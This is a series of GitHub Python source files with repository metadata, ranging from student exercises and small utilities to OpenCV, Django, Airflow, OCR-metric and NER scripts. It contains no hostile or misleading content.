c90971e822880fb2fb37f91db15ca2a3e3469a1c | 7a7c0cd1b38a306e7d51a67f6442fc0b48ae83a0 | /Exam/32.py | 8866719e4820db9cd84c8c34e69467ed23826fb6 | [] | no_license | 09-03/Infa | f06fd007ded30101b289730ef0ea12154e3f7317 | a7896461435650a6d3865047ed09ec9dadd4b493 | refs/heads/master | 2023-06-10T16:48:06.440654 | 2021-06-29T00:43:27 | 2021-06-29T00:43:27 | 297,751,033 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,551 | py | """
Реализовать программу, реализующую действия со списками: добавление и удаление
элементов, упорядочивание, определение длины списка, вставку элемента, определение
индекса и др.
"""
def add(list,element):
list.append(element)
return print(f"Список после добавления элемента {element}: {list}")
def ... | [
"noreply@github.com"
] | noreply@github.com |
768ebcd4aa20e78c05d5254425ac413fdac7a839 | 0cb8a6b9789e5304c3f25263d2844ac8527f7314 | /exporter/lib/constants.py | 41d677407cbd92c3d35ce85d6232665e0ae1757e | [
"MIT"
] | permissive | fossabot/crypto-exporter | bc1e2a133fcf7bd3d9b9d1c6ff673a7ca18ef900 | 2f83e478aaed06f7077ff777bc1c6373220f8535 | refs/heads/master | 2021-01-08T10:40:48.977894 | 2020-02-20T22:44:40 | 2020-02-20T22:44:40 | 242,006,322 | 0 | 0 | MIT | 2020-02-20T22:44:40 | 2020-02-20T22:44:39 | null | UTF-8 | Python | false | false | 253 | py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
""" Constants declarations """
WARN_TICKER_SLOW_LOAD = 'Exchange doesn\'t support fetching all the tickers in one go. Loading them individually.'
# These get set at build time
VERSION = None
BUILD = None
| [
"alex@thom.ae"
] | alex@thom.ae |
3abacad4b1fea836f4f8aa72c5adec65edcd4d41 | 725ed24c59988dc379df3c67503fad8a6ae65db2 | /code/03/ex070.py | 29e0fcbd10c69b315aea9268e447eafff575b0d8 | [] | no_license | oleg7521/Althoff_1 | 587990cfdca98f7dd8df029addc0df940d7556c7 | 8496ec9f2078af13ae9f7fd5783da89492590ac7 | refs/heads/master | 2020-05-21T11:38:38.228038 | 2019-05-10T18:09:13 | 2019-05-10T18:09:13 | 186,033,314 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 68 | py | x = 10
y = 11
if x == 10:
if y == 11:
print(x + y)
| [
"olegate@gmail.com"
] | olegate@gmail.com |
019b88ab66515b1fba73c088c4c4378affc6f9d1 | b48b5334c49552176616c7bcc0d55ce2d13e476e | /bigo/day-11-floyd-warshall/risk.py | 4a86303b90f93d4870faa5efc2b01b9938781bf6 | [] | no_license | huyngopt1994/python-Algorithm | 75ff16e01aa9e227690e639a9b9bcd997f374c6b | 13b10f9e99af74a6a096623e9094f89701bbb1b6 | refs/heads/master | 2021-07-13T01:03:56.919559 | 2020-06-01T02:49:32 | 2020-06-01T02:49:32 | 136,141,405 | 4 | 0 | null | null | null | null | UTF-8 | Python | false | false | 184 | py | # https://uva.onlinejudge.org/index.php?Itemid=8&option=com_onlinejudge&page=show_problem&problem=508
if __name__ == '__main__':
for _ in range(19):
custom_input = input()
| [
"vuhuy@inspectorio.com"
] | vuhuy@inspectorio.com |
ab57fa7710ac29fb77ef57c4c4e1a95d1adb1b50 | 9c6608e9906c6cb710ae4714268bc7c13f46cb88 | /common/common.py | d18b7dacd4cb0746fe022b671e5978664dd8df3d | [] | no_license | vpluzhnikov/anywhere | a5715fbc95d88ce126437461a42210b57c6db691 | c2c5d6644695a9c0c1b236d87de582a590effdfb | refs/heads/master | 2020-03-08T16:05:15.546578 | 2018-04-06T08:44:52 | 2018-04-06T08:44:52 | 128,230,035 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 409 | py | import logging
import json
LOGFILENAME = 'anywhere.log'
logging.basicConfig(level=logging.DEBUG,
format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s',
datefmt='%m-%d %H:%M',
filename=LOGFILENAME,
filemode='w')
logger = logging.getLogger(__name__)
def load_config(configfile):
with open(co... | [
"vpluzhnikov@gmail.com"
] | vpluzhnikov@gmail.com |
8162335c1dd204110849637430097ff8bf123131 | ae7c6f13c9875aa3bd0a2e481ff26e2839db5399 | /video_test_count_crop.py | 6b6e4b51aca3f7f230e3dd614e54603643a58fec | [] | no_license | SEAI-SEPCAP/Classification | f3c813e094d5e61253d08af9b753556d6097683a | 2feb325e4e5294824643b5d360bf3f80e989261f | refs/heads/main | 2023-02-08T05:43:04.178393 | 2020-12-04T23:46:52 | 2020-12-04T23:46:52 | 314,586,861 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,512 | py | import numpy as np
import cv2 as cv
flag = 0
old_flag = 1
capsule_count = 0
def click(event, x, y, flags, param):
if event == cv.EVENT_LBUTTONDOWN:
print(frame[y,x])
print(y)
def nothing(x):
pass
def area(w, h):
return w * h
def color_in_frame(image):
... | [
"noreply@github.com"
] | noreply@github.com |
7e2b777cfb3f7c9a50c6bf7b30d0dddd2f52c364 | ab9aae2cbe16502e52c6a728a68e1f0ea3e8b8d0 | /mysite/urls.py | 88dc1bfdbeacdca983c2c354bb1afc79d410d3cf | [] | no_license | leftcoastbeard/djangotest | e9e7f53581d47f467225ab86f9f262fed628d3de | 938c523c1cd8c684bd2dbd8760827ea6213d4a1b | refs/heads/master | 2021-04-09T11:52:02.892976 | 2018-03-28T17:42:00 | 2018-03-28T17:42:00 | 125,576,248 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 863 | py | """mysite URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/2.0/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based ... | [
"heyp@list-dev.intra.camosun.bc.ca"
] | heyp@list-dev.intra.camosun.bc.ca |
e068501920dd3f8e922106ad3892c04f9f024937 | 0ecebfeb8dda622fc2cecf896ee36e1fa02377e0 | /day2/s1/search/src/aliyun-opensearch-python-sdk-master/opensearch/__init__.py | 916274eea16288321b075449ca3a5127a969cecf | [] | no_license | jianchangfeng/RecommentSystem | 06a2473e4770b875402800969c0dcef56e0e7ab5 | 44bff601830667a46d96ea8d8e976dd3d792f4d5 | refs/heads/master | 2020-06-16T07:54:39.223628 | 2019-09-27T13:32:56 | 2019-09-27T13:32:56 | 195,517,034 | 1 | 0 | null | 2020-03-16T21:32:21 | 2019-07-06T08:35:23 | TSQL | UTF-8 | Python | false | false | 191 | py | from . import const
from .client import Client
from .app import IndexApp
from .document import IndexDoc
from .search import Search
from .suggest import Suggest
from .errorlog import ErrorLog
| [
"changfeng.jian@nxp.com"
] | changfeng.jian@nxp.com |
b747250572a94ec53e231cbc946c58362081b1c1 | 586f064a78f5fb5d191ded4a6b9e5c01d0216abf | /source/pybass/tests/test_flac_win.py | aa3266e49ff4123b994a60821531e3da41a77e91 | [
"MIT"
] | permissive | peppy0510/PyMusicPlayer | b114e01702d0d709d5fdb072aa2b35012fc2bcd4 | b63801283fee774f3d33ef3e54aeaa9e8147be18 | refs/heads/master | 2023-06-29T03:12:28.093206 | 2023-06-19T02:38:41 | 2023-06-19T02:38:41 | 177,516,389 | 25 | 6 | null | null | null | null | UTF-8 | Python | false | false | 535 | py | # -*- coding: utf-8 -*-
# Copyright(c) Wasylews 2013 (sabov.97@mail.ru)
from pybass import BASS_Free
from pybass import BASS_Init
from pybass import BASS_PluginLoad
from pybass import BASS_StreamCreateFile
from pybass import play_handle
def main():
BASS_Init(-1, 44100, 0, 0, 0)
plugin = BASS_PluginLoad(b'... | [
"peppy0510@hotmail.com"
] | peppy0510@hotmail.com |
de225fcb243c2a0f60999ef44906408c12a0d636 | b6377fda02fd483cfb760983d48274a9f28a9c3a | /src/recipes/recipe_scraper.py | 271db63313c81a064f4577c0c2119877d85ce024 | [] | no_license | nykznykz/CourseProject | 8ebb18de771c679d9c3961c1ca0e36d526909019 | 6db546e2c10a23de12bc24b452c2e759b19ae6ea | refs/heads/main | 2023-01-30T01:51:16.100598 | 2020-12-13T20:46:42 | 2020-12-13T20:46:42 | 307,244,102 | 0 | 1 | null | 2020-12-13T12:22:41 | 2020-10-26T02:43:18 | Python | UTF-8 | Python | false | false | 21,380 | py |
import csv
import json
import multiprocessing
import pandas
import re
import sys
import time
import unicodedata
import urllib
from bs4 import BeautifulSoup
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.action_chains import ActionChains
import os.... | [
"mdikraprasetya@google.com"
] | mdikraprasetya@google.com |
5f07b6cf6ea1da6ba3a095aa6da467aca68957c8 | 768e37d05aa0b9c8f1a887301a7599603bea45ab | /User.py | a3f828a2c949753f27f3bc3b02011eeb36cd6c05 | [] | no_license | cj-zeiger/eConnect-backend | 4d65703d7b09806bb32fcde474f06e2c6fd7a25d | c2fb020681d8f6e643d8bff7683deda9fc96128d | refs/heads/master | 2021-01-21T02:41:05.551364 | 2015-08-21T17:59:11 | 2015-08-21T17:59:11 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 243 | py | from flask.ext.login import UserMixin
class User(UserMixin):
username='admin'
password='hashedpassword'
id=1
def check_password(pwd):
if pwd == password:
return True
else:
return False
| [
"cjzeiger@gmail.com"
] | cjzeiger@gmail.com |
43c9e638366ac7d934c2a66c18c555501c60eac1 | 28ff818fcf120f52bde8d26dbaa654e951595009 | /APUNTES/PYTHON/EJEMPLOS_FORMACION/web04Django/portal_anuncios_informatica/manage.py | 14379d202cac129b8c4406d35bbb090c00685bf5 | [] | no_license | pcmaestro/my_repository | 9c87382b2c30e5d0985a08ddfa172995de80a45a | 13d47e67a49b5996654a5386c024e61c2c753e6b | refs/heads/master | 2022-07-13T20:38:14.614763 | 2020-08-14T18:58:44 | 2020-08-14T18:58:44 | 234,505,688 | 2 | 0 | null | 2022-06-21T03:58:12 | 2020-01-17T08:32:56 | Python | UTF-8 | Python | false | false | 647 | py | #!/usr/bin/env python
"""Django's command-line utility for administrative tasks."""
import os
import sys
def main():
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'portal_anuncios_informatica.settings')
try:
from django.core.management import execute_from_command_line
except ImportError as exc:
... | [
"pcmaestro@hotmail.com"
] | pcmaestro@hotmail.com |
6726af340507ef18cd6fecb526938ac266e2e837 | c553f9d608c435cd7f19c9be0ef512307295a837 | /daemin/greedy/실전문제/5.볼링공고르기.py | 25466ef2c70cb181a43b4110c060208edd5c5000 | [] | no_license | Green0v0/Algorithm | 2d089e7c016997c1fb5e1094ddeeb80cd1ce0485 | ab9b387e63550ef1b5dfe0f851163b16fbd42c88 | refs/heads/main | 2023-05-24T05:37:17.125671 | 2021-06-16T05:35:52 | 2021-06-16T05:35:52 | 330,944,982 | 1 | 2 | null | null | null | null | UTF-8 | Python | false | false | 1,031 | py | # n,m = map(int,input().split())
# k= list(map(int,input().split()))
# n,m= 8,5
# k = [1,5,4,3,2,4,5,2]
# import time
# start_time = time.time()
# n,m= 10,3
# data= [1,3,2,3,2,1,2,3,2,3,]
# count =0
"""
1. 인덱스를 사용했다.
2. k[1]!=k[j] 이면 count 했다.(조합// 서로 다른 무게의 볼링공을 고른다!// 무게가 같아도 다른 공으로 생각한다.)
3. k[1]==k[j] 이면 같은 무게... | [
"noreply@github.com"
] | noreply@github.com |
fa3936e9ab8112887d3ad4dbb99d32a2d66b2338 | 40ce4d7545309ca57f0670a3aa27573d43b18552 | /com.ppc.Bot/bot.py | d51d072f2e155cc8c00d88e1c91dc2c47e820314 | [
"Apache-2.0"
] | permissive | slrobertson1/botlab | 769dab97cca9ee291f3cccffe214544663d5178e | fef6005c57010a30ed8d1d599d15644dd7c870d8 | refs/heads/master | 2020-07-28T06:45:37.316094 | 2019-09-18T15:34:08 | 2019-09-18T15:34:08 | 209,341,818 | 0 | 0 | Apache-2.0 | 2019-09-18T15:23:37 | 2019-09-18T15:23:37 | null | UTF-8 | Python | false | false | 19,850 | py | '''
Created on March 27, 2017
This file is subject to the terms and conditions defined in the
file 'LICENSE.txt', which is part of this source code package.
@author: David Moss
'''
import json
import utilities
import domain
import localization
from controller import Controller
def run(botengine):
"""
Entr... | [
"dmoss@peoplepowerco.com"
] | dmoss@peoplepowerco.com |
3a63330cca430681d8d4b604fd35a7e14fa86b32 | 34992e5eb6e3fe59315e6aa3c3d563a1a322951c | /api/migrations/0001_initial.py | f5d0abaed9dbc25f6715edb9f8c41e72e836851b | [] | no_license | momoru-kun/2skin | c997887c4e8556fae1dfbdbf4d84c8f6ae7fb2ea | 7844016c2ab671224993f606c6760233670df2a2 | refs/heads/main | 2023-05-21T15:47:42.428970 | 2021-05-28T08:52:06 | 2021-05-28T08:52:06 | 375,754,366 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 853 | py | # Generated by Django 3.2.3 on 2021-05-27 11:35
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Position',
fields=[
('id', models.BigAutoFi... | [
"a.lenec@spb.mcart.ru"
] | a.lenec@spb.mcart.ru |
dd866df1302e2e8618f647e6c5e184141ed4737e | fbe3c6c0ee455716585b3690c53f91e118d9a913 | /site_cfg_template.py | 5bdacb0e4eb1b6ab1eddc6c4b5d0debce12f801a | [
"BSD-3-Clause"
] | permissive | ramosapf/gensei | 904039e335825f31ffe92acd5337b19939af15b7 | 8a8be511b545e1618a3140295a564b09001e095e | refs/heads/master | 2020-12-11T09:15:01.447737 | 2010-04-16T10:35:18 | 2010-04-16T10:35:18 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 250 | py | ##
# Template file for site configuration - copy it to site_cfg.py:
# $ cp site_cfg_template.py site_cfg.py
# Sphinx documentation uses numpydoc extension. Set the path here in case it is
# not installed in a standard location.
numpydoc_path = None
| [
"cimrman3@ntc.zcu.cz"
] | cimrman3@ntc.zcu.cz |
ec6dba479fe913a3b5a74210efcd078e598c792c | cdb9bbf3bd7ad65f919fb689c0a13061042092d6 | /flask_twisted/resource.py | e7b46a74e85ddc9c3e7f0b8aff9477a878b20243 | [
"MIT"
] | permissive | melakf2/flask-twisted | 0ea8249e56b6d9137d6090d8aca6ccb0340dbaea | 58fb81944d04dacd705aa06d5feb2908ab5aa8b3 | refs/heads/master | 2021-05-09T08:48:31.846498 | 2018-01-23T21:24:04 | 2018-01-23T21:24:04 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 471 | py | # -*- coding: utf-8 -*-
from twisted.web.resource import Resource
class WSGIRootResource(Resource):
def __init__(self, wsgiResource, children):
"""
Creates a Twisted Web root resource.
"""
Resource.__init__(self)
self._wsgiResource = wsgiResource
self.children = chi... | [
"sergei.vizel@modera.net"
] | sergei.vizel@modera.net |
86b0406e23ec7ec581e60ad1114296041160f983 | f77dd6bc7cdf87f411de1b5b9bdd8e7674d01938 | /11_B.py | c98659a6641ecb9ba955689a9f91eac5351d4fd6 | [] | no_license | tsukasasuwa/ITP1 | cbc6ac05b85bb1b4a0a4b0d5e5a62930dc10e9bc | b3549533283b5dce7e403d663874d5e7441b3585 | refs/heads/master | 2020-06-28T20:34:07.288808 | 2019-09-27T04:27:15 | 2019-09-27T04:27:15 | 200,335,095 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,513 | py |
# coding: utf-8
# In[5]:
x = list(map(int, input().split()))
num = int(input())
for i in range(num):
q = list(map(int, input().split()))
if q[0]==x[0]:
if q[1]==x[1]:
print(x[2])
elif q[1]==x[2]:
print(x[4])
elif q[1]==x[4]:
print(x[3])
... | [
"53613868+tsukasasuwa@users.noreply.github.com"
] | 53613868+tsukasasuwa@users.noreply.github.com |
df16de8fde13afb83996076f20f3237465e0c52b | 2871a5c3d1e885ee72332dbd8ff2c015dbcb1200 | /NLP/TD4CL/source/samplers.py | bf3eac88e06fe3dbf3fc7bb10627c4bfd5438f1e | [
"Apache-2.0"
] | permissive | huawei-noah/noah-research | 297476299ad040552e44656541858145de72d141 | 82c49c36b76987a46dec8479793f7cf0150839c6 | refs/heads/master | 2023-08-16T19:29:25.439701 | 2023-08-14T03:11:49 | 2023-08-14T03:11:49 | 272,853,727 | 816 | 171 | null | 2023-09-12T01:28:36 | 2020-06-17T01:53:20 | Python | UTF-8 | Python | false | false | 11,207 | py | # Copyright (C) 2022. Huawei Technologies Co., Ltd. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless requ... | [
"noreply@github.com"
] | noreply@github.com |
53301a5116e33fea984ff880ca09ade5f496c85a | 071fa14cc6de2e8f1dd738143364fcd5e1a7ba44 | /dags/clickhouseLogging.py | 38ea68dc0b01e4693e98e9fd2eabb418375ea537 | [] | no_license | UrcaDeLima/tmpAirflow | 1f35a542afeae54ef1ad619a4c53ea07ffe30afb | 7f8d70707412bf636dfc68dc34b55ac05b61c566 | refs/heads/master | 2023-03-20T10:47:09.040207 | 2021-03-10T08:58:23 | 2021-03-10T08:58:23 | 344,136,563 | 0 | 0 | null | 2021-03-10T09:05:00 | 2021-03-03T13:29:58 | Python | UTF-8 | Python | false | false | 1,482 | py | from datetime import datetime, timedelta
from airflow import DAG
from airflow.hooks.postgres_hook import PostgresHook
from airflow.operators.dummy_operator import DummyOperator
from airflow.operators.python_operator import PythonOperator
from clickhouse_driver.client import Client
import os
from dotenv import load_dot... | [
"ochernoskutov@getdrinks.ru"
] | ochernoskutov@getdrinks.ru |
ca34b119da814e13ade74c3a97267f176517ebd1 | 9c342cc31c1591cc9005a29f83ce742fe56143f1 | /LinkStone.py | 0a9ff7bb0c461f8a5ca788354b9a68c758b02986 | [] | no_license | Winsy412/LinkStoneManager | c5236a7f755a633d63ea3b7988aa3249121467f4 | 7f39202c0b4f3bec42c9b89c91b7887d8adc4333 | refs/heads/master | 2022-03-30T06:07:54.235232 | 2019-12-31T08:58:20 | 2019-12-31T08:58:20 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,517 | py | #coding=utf-8
import LinkStoneLogin
import wx
import os
import pymssql
import win32api, win32gui
class LoginFrame(LinkStoneLogin.MyFrame1):
def __init__(self,parent):
LinkStoneLogin.MyFrame1.__init__(self,parent)
def check_login(self,event):
Login_user=self.User_text.GetValue()
Login_... | [
"619443458@qq.com"
] | 619443458@qq.com |
4c3bbcd729bb5036ba4a526f3f0df9ef9e40bbc2 | a0826ddc42f4b507f3936f030774cfcd17dcdcbd | /networking/socket client.py | 26a2cb9ce818dad5d4698276dfed0b48f407bcd2 | [] | no_license | gurunadh4b/python_pat | d34f1548d27fe5bd5d90e3942696bd39753be49f | 7118119e0fdda4863ae659d9db505762ca1b9ee9 | refs/heads/master | 2020-03-07T10:23:11.665292 | 2018-03-30T14:59:21 | 2018-03-30T14:59:21 | 127,430,403 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 311 | py | import socket
s=socket.socket()
print('starting client...')
print('connection to the server')
s.connect((localhost,2000))
while True:
msg=eval(input('enter your message to server :'))
s.send(msg)
res=s.recv(1025)
print(res)
if res=='bye':
s.send('Thank you')
break
s.close()
| [
"gurunadh.4b@gmail.com"
] | gurunadh.4b@gmail.com |
8d2c5727f6def127133d45a142686b6329b53bec | 61b81cd77cb4916262d046731edf137b919e56a8 | /baike_spider/html_parser.py | bdfc23bede46569548f68d8ed2ac40cf58ff4790 | [] | no_license | thankinglove/python_study | cd94f4d585b75abb1c88d111dbfe50fe49984989 | 875697fb0fe2edc0517297608299dc58c1d3aa1f | refs/heads/master | 2022-11-20T02:07:00.854649 | 2019-03-13T09:40:27 | 2019-03-13T09:40:27 | 150,699,215 | 0 | 1 | null | 2022-10-27T07:42:05 | 2018-09-28T07:01:56 | Python | UTF-8 | Python | false | false | 1,245 | py | import re
from bs4 import BeautifulSoup
from urllib import parse
class HtmlParser(object):
def parse(self, page_url, html_cont):
if page_url is None or html_cont is None:
return
soup = BeautifulSoup(html_cont, 'html.parser', from_encoding='utf-8')
new_urls = self._get_new_urls(p... | [
"thankinglove@126.com"
] | thankinglove@126.com |
d1088c25c093a855db9e97853b75ee2340976eb5 | 0450bc5a23c60c74ae33216690c649cf86e5edaa | /exp/visual/visual_ice_density/visual_ic0_grid.py | edd073928c619c0c54085b4c6fc4d4fb4c65e8bf | [] | no_license | whiteking64/thesis | 4e66939bafcafb5a1486edcbdfad5c81d88c91b7 | f8fd58c1695bdd56bc15265147f6d940e9b3fbbd | refs/heads/master | 2021-09-06T20:32:53.050720 | 2018-02-11T07:32:03 | 2018-02-11T07:32:03 | 109,417,515 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 992 | py | import numpy as np
from mpl_toolkits.basemap import Basemap
import matplotlib.pyplot as plt
import pandas as pd
coverage = np.array([[45.0,35.64],[-45.0,35.64],[135.0,35.64],[-135.0,35.64]])
#############################################################################
m = Basemap(lon_0=180,boundinglat=40,
... | [
"whiteking64@gmail.com"
] | whiteking64@gmail.com |
42b9ce1858b8ef0c192bd4d772573a470f2f912f | 711756b796d68035dc6a39060515200d1d37a274 | /output_exocyst/optimized_43734.py | f21d43dcee9c4cba778a9cac9856ff5e9f0ec399 | [] | no_license | batxes/exocyst_scripts | 8b109c279c93dd68c1d55ed64ad3cca93e3c95ca | a6c487d5053b9b67db22c59865e4ef2417e53030 | refs/heads/master | 2020-06-16T20:16:24.840725 | 2016-11-30T16:23:16 | 2016-11-30T16:23:16 | 75,075,164 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 13,505 | py | import _surface
import chimera
try:
import chimera.runCommand
except:
pass
from VolumePath import markerset as ms
try:
from VolumePath import Marker_Set, Link
new_marker_set=Marker_Set
except:
from VolumePath import volume_path_dialog
d= volume_path_dialog(True)
new_marker_set= d.new_marker_set
marker_set... | [
"batxes@gmail.com"
] | batxes@gmail.com |
1bce63e3d413d22d5c4e516e69f4256bfee33379 | cd41fbf35cc3205b5bfad83702d95ec7b575d5c8 | /kilogram_app/mysite/kilogram/migrations/0001_initial.py | c86b9550467cb1e262952d586a25967c7a244929 | [] | no_license | devnunu/django-study | 3779ed23f70ec0e689252a634dd745c88e173e78 | 0e0b29926a9bf5063166079dd8232a51a9154256 | refs/heads/master | 2021-03-27T09:49:23.760190 | 2017-07-03T06:37:23 | 2017-07-03T06:37:23 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,048 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.2 on 2017-06-27 11:42
from __future__ import unicode_literals
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
import kilogram.models
class Migration(migrations.Migration):
initial = True
dependenci... | [
"aufcl4858@naver.com"
] | aufcl4858@naver.com |
bb8545a3b2263351f5c717ce6b6836f8d18e1faf | d424e2443711fe32406124dc3d2bdfe099ba7bc6 | /polarimetry.py | 5ec2124e01b13e85f4ce1b04f00e17b496343b89 | [] | no_license | ptweir/flypod | 110fcbdbfd7c3725f7c2fc5048427a7f7469ce18 | 1f049d2728ee519430fedb6734f094d18887a7f2 | refs/heads/master | 2021-01-23T05:39:14.599436 | 2012-01-09T18:55:37 | 2012-01-09T18:55:37 | 418,820 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,866 | py | import numpy as np
import motmot.FlyMovieFormat.FlyMovieFormat as FMF
import colormapTools as cmt
import pylab
import sys, os, time
from scipy.stats.morestats import circmean
from scipy.signal import sepfir2d, gaussian #, convolve2d
def show_angle(angle,power):
ARROW_STEP = 40
kernel = np.ones((ARROW_STEP,ARRO... | [
"weir@caltech.edu"
] | weir@caltech.edu |
86eea8e11ae880428de5ba853e098ca8caa4fb07 | ebc2878c0bc4e6e87d1b4f59eb8459bb5f73b3e1 | /python/epopt/compiler/transforms/separate.py | 2e36c780aa4bb4b25f85abae1cd77dabf490863f | [] | no_license | topherconley/epsilon | a86953dfe6604071d5856a93cc2dd5d3a26031aa | 2aa3680fefd5f689ec2df8935e32a1e3d4f29465 | refs/heads/master | 2021-01-15T16:15:31.567943 | 2016-02-13T14:10:11 | 2016-02-13T14:10:11 | 52,566,560 | 1 | 0 | null | 2016-02-26T00:19:27 | 2016-02-26T00:19:26 | null | UTF-8 | Python | false | false | 4,811 | py | """Analyze the problem in sum-of-prox form and combine/split terms."""
from collections import defaultdict
from epopt import expression
from epopt import tree_format
from epopt.compiler import validate
from epopt.compiler.problem_graph import *
from epopt.compiler.transforms import linear
from epopt.compiler.transfor... | [
"mwytock@gmail.com"
] | mwytock@gmail.com |
bbba1a91cb2af44afcc81da8a035876a66ca82e2 | e4986f4d388ae25c8e3981b141f87a07d503648e | /PDI-WORK/PDI /trabalho2.py | 452d9ead0250d67263ceee0c2274377f96225eab | [] | no_license | samuelamico/samuelamico.github.io | 253b14167c1f52b57e14fb62eb564160f1827f81 | d58524e6dc6490eed97c9bdbe53de1f9a5f77ee1 | refs/heads/master | 2020-04-24T23:37:47.050376 | 2019-11-21T21:47:50 | 2019-11-21T21:47:50 | 172,350,716 | 1 | 0 | null | 2019-11-21T21:47:52 | 2019-02-24T14:54:41 | HTML | UTF-8 | Python | false | false | 1,150 | py | # Digital Image Processing
# Student: Samuel Amico
# Number: 20180010181
# Exercise 2.1 - bolhas.png
import numpy as np
import cv2
import time
image = cv2.imread('bolhas.png',0)
height, width = image.shape
print("height - y: ",height,"width - x: ",width)
# P1 = top-left & P2 = bottom-right
P1x = input("Ponto 1 x ... | [
"sam.fst@gmail.com"
] | sam.fst@gmail.com |
d9d96786f1659dec1da6e64defdcaa08f5debbd9 | 9e1546f4059567efad6a03735aee180f138fbeb5 | /case03/Select_Lab_t.py | 48b0da3daeb745e9a1041895f4adf159811fc9f1 | [] | no_license | Jordan1766/Arduino4Py | bf9a92c389f76efef8795b75195522277dbc56af | 7a6d2b00c34e86077102108800d60e74680c2237 | refs/heads/master | 2023-06-18T02:09:46.955255 | 2021-07-17T12:50:47 | 2021-07-17T12:50:47 | 378,774,111 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 555 | py | # 哪一個數字出現最多 ?
import sqlite3
conn = sqlite3.connect('demo.db')
cursor = conn.cursor()
map = {}
for i in range(1, 40):
print(i)
map[i] = 0
print(map)
# 查詢資料列 sql
sql = 'SELECT id, n1, n2, n3, n4, n5, ts FROM Lotto'
cursor.execute(sql)
rows = cursor.fetchall()
print(rows)
for r in rows:
for i in range(1, 6... | [
"jordan7791@yahoo.com.tw"
] | jordan7791@yahoo.com.tw |
6126a9b4b93db31b52895fb26ea50fea68e6c1dc | 69a8390f3832d5798a2181b7f104ed6aaa6f20ec | /mapped_count.py | bc0e0e36b0d74d907cb68812c0268e3304be657a | [] | no_license | natalie-23-gill/QAA | 46d5ed0399fce9cd26582f10013e1a6f9319e693 | b5f7aa703a2829f3ec5d0db6ef811269b419fd85 | refs/heads/master | 2023-07-22T04:17:35.421761 | 2021-09-08T03:47:49 | 2021-09-08T03:47:49 | 402,159,302 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,339 | py | #!/user/bin/env python
import argparse
#Get required variables
parser = argparse.ArgumentParser(description="Count unmapped and mapped reads using alligned SAM file")
parser.add_argument("-f", "--filename", help="Name of fa file", required=True)
parser.add_argument("-o", "--output_filename", help="K-mer size", req... | [
"nelphick@uoregon.edu"
] | nelphick@uoregon.edu |
8cc8373627952f26a65a5579e25e60bffedd4ab5 | 020589016e34d6a95c670c8a2db66cc440494fa8 | /ppocr/utils/e2e_metric/Deteval.py | 2aa09304600ddb228ca9b70c8d7e860ac3205d19 | [
"Apache-2.0"
] | permissive | limpidezza/PaddleOCR | a2cd0b98b8e84a2253cb912e9cde8f06fb5aab0e | 54c152a0e8fcfc90148fb33b832c277b3f636c54 | refs/heads/release/2.1 | 2023-04-14T10:04:31.800593 | 2021-04-20T11:30:39 | 2021-04-20T11:30:39 | 357,181,144 | 0 | 0 | Apache-2.0 | 2021-04-20T11:30:40 | 2021-04-12T12:15:18 | null | UTF-8 | Python | false | false | 20,333 | py | # Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appli... | [
"1147925384@qq.com"
] | 1147925384@qq.com |
9740a784c28c5936eb88c7f8f815058a076965da | a1c0f06a1454dba2cc78686d6c25776560bfbf6f | /NER_Models/NER_Bi_LSTM_CRF/prediction.py | f4a16fc0eccb838ce3b024ac42b5a5380f89b672 | [
"MIT"
] | permissive | byronblaze-ml/Sumerian-Translation-Pipeline | 4bbbec70ae167097b9233643a12b83fd498b2ea4 | db9ab384af249bf9950cc16b9df5bd593ee3adfa | refs/heads/main | 2023-03-01T21:12:48.094034 | 2021-01-27T03:13:13 | 2021-01-27T03:13:13 | 313,330,057 | 0 | 0 | MIT | 2020-11-16T14:35:52 | 2020-11-16T14:35:51 | null | UTF-8 | Python | false | false | 3,941 | py | import numpy as np
import pandas as pd
import argparse
from collections import OrderedDict
from keras.models import load_model
from keras.preprocessing.sequence import pad_sequences
from keras_contrib.layers import CRF
from keras_contrib.losses import crf_loss
from keras_contrib.metrics import crf_viterbi_accuracy
... | [
"pg903@snu.edu.in"
] | pg903@snu.edu.in |
